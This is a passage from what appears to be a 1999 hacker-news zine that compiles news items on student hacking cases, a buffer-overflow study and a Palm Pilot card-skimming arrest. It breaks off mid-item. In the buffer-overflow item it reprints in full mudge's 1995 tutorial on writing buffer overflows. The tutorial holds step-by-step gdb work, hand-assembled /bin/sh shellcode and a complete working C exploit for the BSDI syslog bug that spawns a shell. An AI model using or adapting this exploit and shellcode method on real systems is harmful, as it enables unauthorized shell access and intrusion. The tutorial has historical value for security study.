on a school computer was doing more than his assignment. "It was one of those things where you walk over to the student and they either shut down the machine or do something very quickly," said Elk Island technology services director Edna Dach. "The teacher phoned us and we were able to check the logs." Dach said records showed the computer user was trying to download hacking software which would enable him to break into the school's administrative files. Dach believes the student just wanted to see if he could crack the computer system, rather than change his grades or wreak high-tech havoc. "But it's vandalism according to our school policy," she said. "What you're doing is, you're trying to vandalize something." RCMP have charged the student, whose age was not released, with unauthorized use of a computer. @HWA 23.0 Students Questioned About SPAM ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From HNN http://www.hackernews.com/ contributed by Evil Wench Two students at Southridge High School in Beaverton Oregon, have been accused of trying to overload the school's computer system with junk e-mail. They have also been accused of trying to break into the schools computer systems. The case has been referred to the Washington County juvenile justice department. Yahoo News - Anyone have a better link for this? http://dailynews.yahoo.com/headlines/local/state/oregon/story.html?s=v/rs/19991123/or/index_2.html#7 High School `Hackers' Questioned - (BEAVERTON) -- Two Southridge High School students have some explaining to do. School officials say the pair tried to overload the schools computer system with junk e-mail. The students also tried to hack into school files. The case has been referred to the Washington County juvenile justice department. @HWA 24.0 Students Fined for Unauthorized Access ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ This sounds awful familiar, but i'm not sure if its the same story it involves some shoulder-surfing of a teacher and using the pilfered password to gain internet access, sound familiar? how many passwords are lost this way? same as calling card numbers at pay phones probably anyway this is hacking? ... - Ed From HNN http://www.hackernews.com/ contributed by Evil Wench Four students at North View Secondary school in Singapore have been either fined or given probation for unauthorized Internet usage. After shoulder surfing the password from a teacher the four students used it to gain unauthorized access to the internet for up to five months before discovered. The Straits Times http://www.straitstimes.asia1.com/cyb/cyb1_1123.html NOV 23 1999 Teen fined for illegal Net access STOLEN-PASSWORD CASE A STUDENT who accessed his school's Internet accounts by sneaking a look over the shoulder of a computer coordinator was fined $2,000 yesterday. Tan Koon Wei, 19, and four of his fellow students at North View Secondary had conspired to steal the password from computer coordinator David Chia Hock Boon in early 1997. His four accomplices were either fined or given probation by the district court last month. The court heard yesterday that of the school's three Internet accounts, two were for students. But they had to get Mr Chia to log on for them. In January 1997, after the coordinator had changed the passwords for all three accounts, Tan and his four friends asked if he would log on for them. While Mr Chia was keying in the password, Tan peeped over his shoulder and memorised it. Then, for about five months or so, Tan misused the school accounts by using the stolen password to surf the Internet from his home computer. Tan's lawyer, Mr N. Deepak, said yesterday that his client was a bright student. He asked if probation could be considered as Tan was a first offender and had not used the password to hack into the system. District Judge Seng Kwang Boon said he doubted whether probation would be appropriate under the Misuse of Computer Act. He fined Tan $2,000 for unauthorised use of the Internet service, taking two other similar charges into consideration. Tan, who is now a polytechnic student, could have been jailed two years on top of the fine. In a separate case yesterday, a former project engineer with Strategic Technologies was also fined $2,000 for using the company's password to surf the Internet after she was no longer its employee. Nancy Ong, 31, now a sales and marketing manager with another company, committed the offence between Dec 1997 and April last year. Her lawyer, Mr Kelvin Lim, told the court that she was a first-time offender who had not been involved in the more serious offence of hacking into a computer system. He added that Ong had apologised to her former company in April last year and offered to compensate it for the loss, but was told by a company director that it was a small matter. @HWA 25.0 Buffer Overflows Called Most Common Security Hole (No shit) ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ What about bad C 'coders' ? there are certain rules of thumb when writing a secure C program especially one that interacts with the internet populace (this includes CGI's and PERL scripts) but people insist on ignoring them presumeably to get the code out on the street as fast as possible, what we need is some QC - Ed From HNN http://www.hackernews.com/ contributed by Maggie The Oregon Graduate Institute of Science & Technology has released a paper, funded in part by the Defense Advanced Research Projects Agency, entitled "Buffer Overflows: Attacks and Defenses for the Vulnerability of the Decade" The paper labels Buffer Overflows, the act of feeding more information into a program than it can handle, as the number one security threat to the internet today. (Glad our hard earned tax dollars funded a study that figured out what everyone already knew.) C|Net http://news.cnet.com/news/0-1003-200-1462855.html?tag=st.ne.1002. Buffer Overflows: Attacks and Defenses for the Vulnerability of the Decade - PDF http://immunix.org/StackGuard/discex00.pdf Mudge's Breakthrough Paper on Buffer Overflows http://www.l0pht.com/advisories/bufero.html @HWA C|net; Study says "buffer overflow" is most common security bug By Paul Festa Staff Writer, CNET News.com November 23, 1999, 2:25 p.m. PT Quick: What's the computer vulnerability of the decade? It's not the Y2K bug, according to computer science and security analysts, but a security weakness known as the buffer overflow. Unlike the Y2K bug, which threatens to cripple computers unable to distinguish years written in two-digit shorthand, this vulnerability opens computers to attacks by malicious hackers, who can use the bug to commandeer the targeted computer. In a buffer overflow, the attacker floods a field, typically an address bar, with more characters than it can accommodate. The excess characters in some cases can be run as "executable" code, effectively giving the attacker control of the computer without being constrained by security measures. "Buffer overflows have been the most common form of security vulnerability for the past 10 years," according to a new paper published by the Oregon Graduate Institute of Science & Technology (OGI) and funded in part by the Defense Advanced Research Projects Agency (DARPA). "Because these kinds of attacks enable anyone to take total control of a host, they represent one of the most serious classes of security threats." Security analysts agree that the first step in cutting down on buffer overflow bugs is for people to engage in more careful computer programming. Programmers can protect their products against buffer overflow attacks simply by including instructions for handling overlong strings, according to Alan Paller, director of research for the System Administration, Networking and Security Institute (SANS). "It all comes back to one programmer being careless," Paller said. "You wrote a program, asked someone for input, gave them space for a certain amount of characters, and didn't check to see if the program could take more. You are incompetent, and you are the problem. One guy making that mistake is creating all the work for the rest of us." The OGI paper identified careful coding as the first line of defense against buffer overflows, but it said that was easier said than done considering today's programming languages and sloppy programming culture. "Writing correct code is a laudable but remarkably expensive proposition, especially when writing in a language such as C that has error-prone idioms," the authors wrote. They also cited "a culture that favors performance over correctness." To combat careless coding, programmers have developed debugging tools that search out buffer overflow vulnerabilities, according to the paper. Other defenses the paper cites prevent code from being executed in the address space or establish boundaries that prevent excess characters from moving to locations where they can be executed. The paper's conclusions recommend implementing a combination of defenses against the vulnerability. Software vendors are ultimately responsible for the buffer overflow problem, and customers should hold them accountable, Paller said. "Liability goes back to [Microsoft chief executive] Bill Gates and [Sun Microsystems chief executive] Scott McNealy," Paller said. "Until people stop being so generous with the suppliers, this problem isn't going away." Sun concurred that the buffer overflow problem is both common and preventable but defended its efforts to prevent coding errors and to respond to bugs once they come to light. "It's quite correct that the problem stems from programming methodologies, and in our case we have been implementing a fairly comprehensive program to go through our software and check it out for vulnerabilities like buffer overflows," said Tom Goguen, group manager for Sun's Solaris Web server for commercial sites. "We're also developing tools to do some automated checking of the software and tools to prevent any further problems like this." Goguen downplayed the hazard posed by most buffer overflows encountered by Sun. He said they tended to open servers up to denial-of-service attacks, which cause computers to crash and shut off service to users, rather than open them up to invasion and control by the attacker. Microsoft, which last week patched a buffer overflow issue in its Windows operating system, was not immediately available for comment. Part of the problem is that programmers have let down their guard against a long-recognized hazard, according to one academic. "We're not learning the lessons of the past," said Matt Bishop, associate professor of computer science at the University of California at Davis and author of an upcoming book on computer security. "We knew how to handle buffer overflows in the 1960s and '70s. But the solutions that were required typically either used hardware or were implemented within the program itself. Some felt it made the program go too slow, so a lot of programs went out there without buffer checks, and now we're paying the price." The OGI paper will be read at DARPA's Information Survivability Expo at Hilton Head Island, S.C., and at the SANS 2000 event in Orlando, Fla. The lead author for the OGI study, Crispin Cowan, in September became chief technology officer of WireX, a server software firm that will sell StackGuard, one of the buffer overrun solutions described in the paper. Cowan remains a part-time professor at OGI. Mudge's Overflow paper (Included since its relatively short although I realize most of you have probably read it already you should perhaps READ IT AGAIN.) How to write Buffer Overflows This is really rough, and some of it is not needed. I wrote this as a reminder note to myself as I really didn't want to look at any more AT&T assembly again for a while and was afraid I would forget what I had done. If you are an old assembly guru then you might scoff at some of this... oh well, it works and that's a hack in itself. -by mudge@l0pht.com 10/20/95 test out the program (duh). --------syslog_test_1.c------------ #include char buffer[4028]; void main() { int i; for (i=0; i<=4028; i++) buffer[i]='A'; syslog(LOG_ERR, buffer); } --------end syslog_test_1.c---------- Compile the program and run it. Make sure you include the symbol table for the debugger or not... depending upon how macho you feel today. bash$ gcc -g buf.c -o buf bash$ buf Segmentation fault (core dumped) The 'Segmentation fault (core dumped)' is what we wanted to see. This tells us there is definately an attempt to access some memory address that we shouldn't. If you do much in 'C' with pointers on a unix machine you have probably seen this (or Bus error) when pointing or dereferencing incorrectly. Fire up gdb on the program (with or without the core file). Assuming you remove the core file (this way you can learn a bit about gdb), the steps would be as follows: bash$ gdb buf (gdb) run Starting program: /usr2/home/syslog/buf Program received signal 11, Segmentation fault 0x1273 in vsyslog (0x41414141, 0x41414141, 0x41414141, 0x41414141) Ok, this is good. The 41's you see are the hex equivallent for the ascii character 'A'. We are definately going places where we shouldn't be. (gdb) info all-registers eax 0xefbfd641 -272640447 ecx 0x00000000 0 edx 0xefbfd67c -272640388 ebx 0xefbfe000 -272637952 esp 0xefbfd238 0xefbfd238 ebp 0xefbfde68 0xefbfde68 esi 0xefbfd684 -272640380 edi 0x0000cce8 52456 eip 0x00001273 0x1273 ps 0x00010212 66066 cs 0x0000001f 31 ss 0x00000027 39 ds 0x00000027 39 es 0x00000027 39 fs 0x00000027 39 gs 0x00000027 39 The gdb command 'info all-registers' shows the values in the current hardware registers. The one we are really interested in is 'eip'. On some platforms this will be called 'ip' or 'pc'. It is the Instruction Pointer [also called Program Counter]. It points to the memory location of the next instruction the processor will execute. By overwriting this you can point to the beginning of your own code and the processor will merrily start executing it assuming you have it written as native opcodes and operands. In the above we haven't gotten exactly where we need to be yet. If you want to see where it crashed out do the following: (gdb) disassemble 0x1273 [stuff deleted] 0x1267 : incl 0xfffff3dc(%ebp) 0x126d : testb %al,%al 0x126f : jne 0x125c 0x1271 : jmp 0x1276 0x1273 : movb %al,(%ebx) 0x1275 : incl %ebx 0x1276 : incl %edi 0x1277 : movb (%edi),%al 0x1279 : testb %al,%al If you are familiar with microsoft assembler this will be a bit backwards to you. For example: in microsoft you would 'mov ax,cx' to move cx to ax. In AT&T 'mov ax,cx' moves ax to cx. So put on those warp refraction eye-goggles and on we go. Note also that Intel assembler let's go back and tweak the original source code some eh? -------------syslog_test_2.c------------- #include char buffer[4028]; void main() { int i; for (i=0; i<2024; i++) buffer[i]='A'; syslog(LOG_ERR, buffer); } -----------end syslog_test_2.c------------- We're just shortening the length of 'A''s. bash$ gcc -g buf.c -o buf bash$ gdb buf (gdb) run Starting program: /usr2/home/syslog/buf Program received signal 5, Trace/BPT trap 0x1001 in ?? (Error accessing memory address 0x41414149: Cannot allocate memory. This is the magic response we've been looking for. (gdb) info all-registers eax 0xffffffff -1 ecx 0x00000000 0 edx 0x00000008 8 ebx 0xefbfdeb4 -272638284 esp 0xefbfde70 0xefbfde70 ebp 0x41414141 0x41414141 <- here it is!!! esi 0xefbfdec0 -272638272 edi 0xefbfdeb8 -272638280 eip 0x00001001 0x1001 ps 0x00000246 582 cs 0x0000001f 31 ss 0x00000027 39 ds 0x00000027 39 es 0x00000027 39 fs 0x00000027 39 gs 0x00000027 39 Now we move it along until we figure out where eip lives in the overflow (which is right after ebp in this arch architecture). With that known fact we only have to add 4 more bytes to our buffer of 'A''s and we will overwrite eip completely. ---------syslog_test_3.c---------------- #include char buffer[4028]; void main() { int i; for (i=0; i<2028; i++) buffer[i]='A'; syslog(LOG_ERR, buffer); } -------end syslog_test_3.c------------ bash$ !gc gcc -g buf.c -o buf bash$ gdb buf (gdb) run Starting program: /usr2/home/syslog/buf Program received signal 11, Segmentation fault 0x41414141 in errno (Error accessing memory address 0x41414149: Cannot allocate memory. (gdb) info all-registers eax 0xffffffff -1 ecx 0x00000000 0 edx 0x00000008 8 ebx 0xefbfdeb4 -272638284 esp 0xefbfde70 0xefbfde70 ebp 0x41414141 0x41414141 esi 0xefbfdec0 -272638272 edi 0xefbfdeb8 -272638280 eip 0x41414141 0x41414141 ps 0x00010246 66118 cs 0x0000001f 31 ss 0x00000027 39 ds 0x00000027 39 es 0x00000027 39 fs 0x00000027 39 gs 0x00000027 39 BINGO!!! Here's where it starts to get interesting. Now that we know eip starts at buffer[2024] and goes through buffer[2027] we can load it up with whatever we need. The question is... what do we need? We find this by looking at the contents of buffer[]. (gdb) disassemble buffer [stuff deleted] 0xc738 : incl %ecx 0xc739 : incl %ecx 0xc73a : incl %ecx 0xc73b : incl %ecx 0xc73c : addb %al,(%eax) 0xc73e : addb %al,(%eax) 0xc740 : addb %al,(%eax) [stuff deleted] On the Intel x86 architecture [a pentium here but that doesn't matter] incl %eax is opcode 0100 0001 or 41hex. addb %al,(%eax) is 0000 0000 or 0x0 hex. We will load up buffer[2024] to buffer[2027] with the address of 0xc73c where we will start our code. You have two options here, one is to load the buffer up with the opcodes and operands and point the eip back into the buffer; the other option is what we are going to be doing which is to put the opcodes and operands after the eip and point to them. The advantage to putting the code inside the buffer is that other than the ebp and eip registers you don't clobber anything else. The disadvantage is that you will need to do trickier coding (and actually write the assembly yourself) so that there are no bytes that contain 0x0 which will look like a null in the string. This will require you to know enough about the native chip architecture and opcodes to do this [easy enough for some people on Intel x86's but what happens when you run into an Alpha? -- lucky for us there is a gdb for Alpha I think ;-)]. The advantage to putting the code after the eip is that you don't have to worry about bytes containing 0x0 in them. This way you can write whatever program you want to execute in 'C' and have gdb generate most of the machine code for you. The disadvantage is that you are overwriting the great unknown. In most cases the section you start to overwrite here contains your environment variables and other whatnots.... upon succesfully running your created code you might be dropped back into a big void. Deal with it. The safest instruction is NOP which is a benign no-operation. This is what you will probably be loading the buffer up with as filler. Ahhh but what if you don't know what the opcodes are for the particular architecture you are on. No problem. gcc has a wonderfull function called __asm__(char *); I rely upon this heavily for doing buffer overflows on architectures that I don't have assembler books for. ------nop.c-------- void main(){ __asm__("nop\n"); } ----end nop.c------ bash$ gcc -g nop.c -o nop bash$ gdb nop (gdb) disassemble main Dump of assembler code for function main: to 0x1088: 0x1080 : pushl %ebp 0x1081 : movl %esp,%ebp 0x1083 : nop 0x1084 : leave 0x1085 : ret 0x1086 : addb %al,(%eax) End of assembler dump. (gdb) x/bx 0x1083 0x1083 : 0x90 Since nop is at 0x1083 and the next instruction is at 0x1084 we know that nop only takes up one byte. Examining that byte shows us that it is 0x90 (hex). Our program now looks like this: ------ syslog_test_4.c--------- #include char buffer[4028]; void main() { int i; for (i=0; i<2024; i++) buffer[i]=0x90; i=2024; buffer[i++]=0x3c; buffer[i++]=0xc7; buffer[i++]=0x00; buffer[i++]=0x00; syslog(LOG_ERR, buffer); } ------end syslog_test_4.c------- Notice you need to load the eip backwards ie 0000c73c is loaded into the buffer as 3c c7 00 00. Now the question we have is what is the code we insert from here on? Suppose we want to run /bin/sh? Gee, I don't have a friggin clue as to why someone would want to do something like this, but I hear there are a lot of nasty people out there. Oh well. Here's the proggie we want to execute in C code: ------execute.c-------- #include main() { char *name[2]; name[0] = "sh"; name[1] = NULL; execve("/bin/sh",name,NULL); } ----end execute.c------- bash$ gcc -g execute.c -o execute bash$ execute $ Ok, the program works. Then again, if you couldn't whip up that little prog you should probably throw in the towel here. Maybe become a webmaster or something that requires little to no programming (or brainwave activity period). Here's the gdb scoop: bash$ gdb execute (gdb) disassemble main Dump of assembler code for function main: to 0x10b8: 0x1088 : pushl %ebp 0x1089 : movl %esp,%ebp 0x108b : subl $0x8,%esp 0x108e : movl $0x1080,0xfffffff8(%ebp) 0x1095 : movl $0x0,0xfffffffc(%ebp) 0x109c : pushl $0x0 0x109e : leal 0xfffffff8(%ebp),%eax 0x10a1 : pushl %eax 0x10a2 : pushl $0x1083 0x10a7 : call 0x10b8 0x10ac : leave 0x10ad : ret 0x10ae : addb %al,(%eax) 0x10b0 : jmp 0x1140 0x10b5 : addb %al,(%eax) 0x10b7 : addb %cl,0x3b05(%ebp) End of assembler dump. (gdb) disassemble execve Dump of assembler code for function execve: to 0x10c8: 0x10b8 : leal 0x3b,%eax 0x10be : lcall 0x7,0x0 0x10c5 : jb 0x10b0 0x10c7 : ret End of assembler dump. This is the assembly behind what our execute program does to run /bin/sh. We use execve() as it is a system call and this is what we are going to have our program execute (ie let the kernel service run it as opposed to having to write it from scratch). 0x1083 contains the /bin/sh string and is the last thing pushed onto the stack before the call to execve. (gdb) x/10bc 0x1083 0x1083 : 47 '/' 98 'b' 105 'i' 110 'n' 47 '/' 115 's' 104 'h' 0 '\000' (0x1080 contains the arguments...which I haven't been able to really clean up). We will replace this address with the one where our string lives [when we decide where that will be]. Here's the skeleton we will use from the execve disassembly: [main] 0x108d : movl %esp,%ebp 0x108e : movl $0x1083,0xfffffff8(%ebp) 0x1095 : movl $0x0,0xfffffffc(%ebp) 0x109c : pushl $0x0 0x109e : leal 0xfffffff8(%ebp),%eax 0x10a1 : pushl %eax 0x10a2 : pushl $0x1080 [execve] 0x10b8 : leal 0x3b,%eax 0x10be : lcall 0x7,0x0 All you need to do from here is to build up a bit of an environment for the program. Some of this stuff isn't necesary but I have it in still as I haven't fine tuned this yet. I clean up eax. I don't remember why I do this and it shouldn't really be necesarry. Hell, better quit hitting the sauce. I'll figure out if it is after I tune this up a bit. xorl %eax,%eax We will encapsulate the actuall program with a jmp to somewhere and a call right back to the instruction after the jmp. This pushes ecx and esi onto the stack. jmp 0x???? # this will jump to the call... popl %esi popl %ecx The call back will be something like: call 0x???? # this will point to the instruction after the jmp (ie # popl %esi) All put together it looks like this now: ---------------------------------------------------------------------- movl %esp,%ebp xorl %eax,%eax jmp 0x???? # we don't know where yet... # -------------[main] movl $0x????,0xfffffff8(%ebp) # we don't know what the address will # be yet. movl $0x0,0xfffffffc(%ebp) pushl $0x0 leal 0xfffffff8(%ebp),%eax pushl %eax pushl $0x???? # we don't know what the address will # be yet. # ------------[execve] leal 0x3b,%eax lcall 0x7,0x0 call 0x???? # we don't know where yet... ---------------------------------------------------------------------- There are only a couple of more things that we need to add before we fill in the addresses to a couple of the instructions. Since we aren't actually calling execve with a 'call' anymore here, we need to push the value in ecx onto the stack to simulate it. # ------------[execve] pushl %ecx leal 0x3b,%eax lcall 0x7,0x0 The only other thing is to not pass in the arguments to /bin/sh. We do this by changing the ' leal 0xfffffff8(%ebp),%eax' to ' leal 0xfffffffc(%ebp),%eax' [remember 0x0 was moved there]. So the whole thing looks like this (without knowing the addresses for the '/bin/sh\0' string): movl %esp,%ebp xorl %eax,%eax # we added this jmp 0x???? # we added this popl %esi # we added this popl %ecx # we added this movl $0x????,0xfffffff5(%ebp) movl $0x0,0xfffffffc(%ebp) pushl $0x0 leal 0xfffffffc(%ebp),%eax # we changed this pushl %eax pushl $0x???? leal 0x3b,%eax pushl %ecx # we added this lcall 0x7,0x0 call 0x???? # we added this To figure out the bytes to load up our buffer with for the parts that were already there run gdb on the execute program. bash$ gdb execute (gdb) disassemble main Dump of assembler code for function main: to 0x10bc: 0x108c : pushl %ebp 0x108d : movl %esp,%ebp 0x108f : subl $0x8,%esp 0x1092 : movl $0x1080,0xfffffff8(%ebp) 0x1099 : movl $0x0,0xfffffffc(%ebp) 0x10a0 : pushl $0x0 0x10a2 : leal 0xfffffff8(%ebp),%eax 0x10a5 : pushl %eax 0x10a6 : pushl $0x1083 0x10ab : call 0x10bc 0x10b0 : leave 0x10b1 : ret 0x10b2 : addb %al,(%eax) 0x10b4 : jmp 0x1144 0x10b9 : addb %al,(%eax) 0x10bb : addb %cl,0x3b05(%ebp) End of assembler dump. [get out your scratch paper for this one... ] 0x108d : movl %esp,%ebp this goes from 0x108d to 0x108e. 0x108f starts the next instruction. thus we can see the machine code with gdb like this. (gdb) x/2bx 0x108d 0x108d : 0x89 0xe5 Now we know that buffer[2028]=0x89 and buffer[2029]=0xe5. Do this for all of the instructions that we are pulling out of the execute program. You can figure out the basic structure for the call command by looking at the one inexecute that calls execve. Of course you will eventually need to put in the proper address. When I work this out I break down the whole program so I can see what's going on. Something like the following 0x108c : pushl %ebp 0x108d : movl %esp,%ebp 0x108f : subl $0x8,%esp (gdb) x/bx 0x108c 0x108c : 0x55 (gdb) x/bx 0x108d 0x108d : 0x89 (gdb) x/bx 0x108e 0x108e : 0xe5 (gdb) x/bx 0x108e 0x108f : 0x83 so we see the following from this: 0x55 pushl %ebp 0x89 movl %esp,%ebp 0xe5 0x83 subl $0x8,%esp etc. etc. etc. For commands that you don't know the opcodes to you can find them out for the particular chip you are on by writing little scratch programs. ----pop.c------- void main() { __asm__("popl %esi\n"); } ---end pop.c---- bash$ gcc -g pop.c -o pop bash$ gdb pop (gdb) disassemble main Dump of assembler code for function main: to 0x1088: 0x1080 : pushl %ebp 0x1081 : movl %esp,%ebp 0x1083 : popl %esi 0x1084 : leave 0x1085 : ret 0x1086 : addb %al,(%eax) End of assembler dump. (gdb) x/bx 0x1083 0x1083 : 0x5e So, 0x5e is popl %esi. You get the idea. After you have gotten this far build the string up (put in bogus addresses for the ones you don't know in the jmp's and call's... just so long as we have the right amount of space being taken up by the jmp and call instructions... likewise for the movl's where we will need to know the memory location of 'sh\0\0/bin/sh\0'. After you have built up the string, tack on the chars for sh\0\0/bin/sh\0. Compile the program and load it into gdb. Before you run it in gdb set a break point for the syslog call. (gdb) break syslog Breakpoint 1 at 0x1463 (gdb) run Starting program: /usr2/home/syslog/buf Breakpoint 1, 0x1463 in syslog (0x00000003, 0x0000bf50, 0x0000082c, 0xefbfdeac) (gdb) disassemble 0xc73c 0xc77f (we know it will start at 0xc73c since thats right after the eip overflow... 0xc77f is just an educated guess as to where it will end) (gdb) disassemble 0xc73c 0xc77f Dump of assembler code from 0xc73c to 0xc77f: 0xc73c : movl %esp,%ebp 0xc73e : xorl %eax,%eax 0xc740 : jmp 0xc76b 0xc742 : popl %esi 0xc743 : popl %ecx 0xc744 : movl $0xc770,0xfffffff5(%ebp) 0xc74b : movl $0x0,0xfffffffc(%ebp) 0xc752 : pushl $0x0 0xc754 : leal 0xfffffffc(%ebp),%eax 0xc757 : pushl %eax 0xc758 : pushl $0xc773 0xc75d : leal 0x3b,%eax 0xc763 : pushl %ecx 0xc764 : lcall 0x7,0x0 0xc76b : call 0xc742 0xc770 : jae 0xc7da 0xc772 : addb %ch,(%edi) 0xc774 : boundl 0x6e(%ecx),%ebp 0xc777 : das 0xc778 : jae 0xc7e2 0xc77a : addb %al,(%eax) 0xc77c : addb %al,(%eax) 0xc77e : addb %al,(%eax) End of assembler dump. Look for the last instruction in your code. In this case it was the 'call' to right after the 'jmp' near the beginning. Our data should be right after it and indeed we see that it is. (gdb) x/13bc 0xc770 0xc770 : 115 's' 104 'h' 0 '\000' 47 '/' 98 'b' 105 'i' 110 'n' 47 '/' 0xc778 : 115 's' 104 'h' 0 '\000' 0 '\000' 0 '\000' Now go back into your code and put the appropriate addresses in the movl and pushl. At this point you should also be able to put in the appropriate operands for the jmp and call. Congrats... you are done. Here's what the output will look like when you run this on a system with the non patched libc/syslog bug. bash$ buf $ exit (do whatever here... you spawned a shell!!!!!! yay!) bash$ Here's my original program with lot's of comments: /*****************************************************************/ /* For BSDI running on Intel architecture -mudge, 10/19/95 */ /* by following the above document you should be able to write */ /* buffer overflows for other OS's on other architectures now */ /* mudge@l0pht.com */ /* */ /* note: I haven't cleaned this up yet... it could be much nicer */ /*****************************************************************/ #include char buffer[4028]; void main () { int i; for(i=0; i<2024; i++) buffer[i]=0x90; /* should set eip to 0xc73c */ buffer[2024]=0x3c; buffer[2025]=0xc7; buffer[2026]=0x00; buffer[2027]=0x00; i=2028; /* begin actuall program */ buffer[i++]=0x89; /* movl %esp, %ebp */ buffer[i++]=0xe5; buffer[i++]=0x33; /* xorl %eax,%eax */ buffer[i++]=0xc0; buffer[i++]=0xeb; /* jmp ahead */ buffer[i++]=0x29; buffer[i++]=0x5e; /* popl %esi */ buffer[i++]=0x59; /* popl %ecx */ buffer[i++]=0xc7; /* movl $0xc770,0xfffffff8(%ebp) */ buffer[i++]=0x45; buffer[i++]=0xf5; buffer[i++]=0x70; buffer[i++]=0xc7; buffer[i++]=0x00; buffer[i++]=0x00; buffer[i++]=0xc7; /* movl $0x0,0xfffffffc(%ebp) */ buffer[i++]=0x45; buffer[i++]=0xfc; buffer[i++]=0x00; buffer[i++]=0x00; buffer[i++]=0x00; buffer[i++]=0x00; buffer[i++]=0x6a; /* pushl $0x0 */ buffer[i++]=0x00; #ifdef z_out buffer[i++]=0x8d; /* leal 0xfffffff8(%ebp),%eax */ buffer[i++]=0x45; buffer[i++]=0xf8; #endif /* the above is what the disassembly of execute does... but we only want to push /bin/sh to be executed... it looks like this leal puts into eax the address where the arguments are going to be passed. By pointing to 0xfffffffc(%ebp) we point to a null and don't care about the args... could probably just load up the first section movl $0x0,0xfffffff8(%ebp) with a null and left this part the way it want's to be */ buffer[i++]=0x8d; /* leal 0xfffffffc(%ebp),%eax */ buffer[i++]=0x45; buffer[i++]=0xfc; buffer[i++]=0x50; /* pushl %eax */ buffer[i++]=0x68; /* pushl $0xc773 */ buffer[i++]=0x73; buffer[i++]=0xc7; buffer[i++]=0x00; buffer[i++]=0x00; buffer[i++]=0x8d; /* lea 0x3b,%eax */ buffer[i++]=0x05; buffer[i++]=0x3b; buffer[i++]=0x00; buffer[i++]=0x00; buffer[i++]=0x00; buffer[i++]=0x51; /* pushl %ecx */ buffer[i++]=0x9a; /* lcall 0x7,0x0 */ buffer[i++]=0x00; buffer[i++]=0x00; buffer[i++]=0x00; buffer[i++]=0x00; buffer[i++]=0x07; buffer[i++]=0x00; buffer[i++]=0xe8; /* call back to ??? */ buffer[i++]=0xd2; buffer[i++]=0xff; buffer[i++]=0xff; buffer[i++]=0xff; buffer[i++]='s'; buffer[i++]='h'; buffer[i++]=0x00; buffer[i++]='/'; buffer[i++]='b'; buffer[i++]='i'; buffer[i++]='n'; buffer[i++]='/'; buffer[i++]='s'; buffer[i++]='h'; buffer[i++]=0x00; buffer[i++]=0x00; syslog(LOG_ERR, buffer); } Copyright 1995, 1996 LHI Technologies, All Rights Reserved @HWA 26.0 Palm Pilot Used In Credit Card Theft ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From HNN http://www.hackernews.com/ contributed by Arik A Bloomingdale's cashier has been charged with criminal possession of forgery devices, unlawful duplication of computer data, criminal possession of computer material and criminal possession of stolen property, all of which are felonies. The charges came after 26 year old Tania Ventura used a magnetic stripe reader attached to a Palm Pilot to record the credit card information of customers at the store. (Why go to all the trouble of using a Palm Pilot when a pen and paper would be so much easier and would allow the copying of the information when the customer was not around to catch you. The only reason this made news was because a Palm Pilot was involved.) Washington Post http://www.washingtonpost.com/wp-srv/aponline/19991124/aponline102449_000.htm CNN http://www.cnn.com/TECH/ptech/9911/24/creditcardscam.ap/index.html Washington Post; Alleged NYC Credit Card Scam Foiled By Donna De La Cruz Associated Press Writer Wednesday, Nov. 24, 1999; 10:24 a.m. EST NEW YORK –– A sharp-eyed tourist from Greece buying sunglasses at Bloomingdale's foiled an alleged credit card scam that may have affected a large number of shoppers. Police Commissioner Howard Safir said Tuesday an investigation is continuing to determine how many credit card numbers are stored on a Palm Pilot – a hand-held electronic organizer – that is believed to belong to Tania Ventura, a 26-year-old cashier at the swank East Side department store. The scam was discovered Monday when the tourist, a financial analyst whose name was not released, noticed his card was swiped twice when he purchased sunglasses. "He asked what this was about, and he did not get a sufficient explanation, so he complained to the manager, and the manager then called us," Safir said. After swiping a credit card through the store's credit card device, Ventura allegedly swiped it a second time through a credit card scanner attached to her Palm Pilot, Safir said. "This device is capable of storing thousands of credit card numbers, and obviously, this individual was involved in stealing people's credit card numbers to sell or use for fraudulent purposes," Safir said. Ventura was charged with criminal possession of forgery devices, unlawful duplication of computer data, criminal possession of computer material and criminal possession of stolen property – all felony charges. She could face up to seven years in prison if convicted. Safir urged shoppers never to let credit cards out of their sight once they give on to a cashier. This is the first time police have seen the practice in New York City, Safir added. Bloomingdale's spokeswoman Bonnie Brownlee said the company is cooperating fully with the police. She declined to comment further because the case is pending in court. © Copyright 1999 The Associated Press CNN; Cashier uses Palm Pilot in credit card scam November 24, 1999 Web posted at: 11:34 AM EST (1634 GMT) NEW YORK (AP) -- A sharp-eyed tourist from Greece buying sunglasses at Bloomingdale's foiled an alleged credit card scam that may have affected a large number of shoppers. Police Commissioner Howard Safir said Tuesday an investigation is continuing to determine how many credit card numbers are stored on a Palm Pilot that is believed to belong to Tania Ventura, a 26-year-old cashier at the swank Manhattan department store. The scam was discovered Monday when the tourist, a financial analyst whose name was not released, noticed his card was swiped twice when he purchased sunglasses. "He asked what this was about, and he did not get a sufficient explanation, so he complained to the manager, and the manager then called us," Safir said. After swiping a credit card through the store's credit card device, Ventura allegedly swiped it a second time through a credit card scanner attached to her Palm Pilot, Safir said. "This device is capable of storing thousands of credit card numbers, and obviously, this individual was involved in stealing people's credit card numbers to sell or use for fraudulent purposes," Safir said. Ventura was charged with criminal possession of forgery devices, unlawful duplication of computer data, criminal possession of computer material and criminal possession of stolen property -- all felony charges. She could face up to seven years in prison if convicted. Safir urged shoppers never to let credit cards out of their sight once they give on to a cashier. This is the first time police have seen the practice in New York City, Safir added. Bloomingdale's spokeswoman Bonnie Brownlee said the company is cooperating fully with the police. She declined to comment further because the case is pending in court. @HWA 27.0 Zero Knowledge on 60 Minutes ~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From HNN http://www.hackernews.com/ contributed by dov Austin Hill, president of Internet privacy company Zero-Knowledge Systems, will be one of several experts talking to '60 Minutes' correspondent Lesley Stahl about the privacy implications of online profiling and data collection, and the scrutiny Internet users unintentionally open themselves to when going online. The show is scheduled to air Sunday, November 28, 1999. 7:00 PM ET/PT. Zero Knowledge Systems http://www.zeroknowledge.com/clickthrough/click.asp?partner_id=542 @HWA 28.0 HotMail Fingers Bomber ~~~~~~~~~~~~~~~~~~~~~~ From HNN http://www.hackernews.com/ contributed by Evil Wench The FBI was able to arrest George Rocha of Greensboro North Carolina after he accessed his HotMail account from his home. He has been accused of planting bombs and extorting money from Lowe's Home 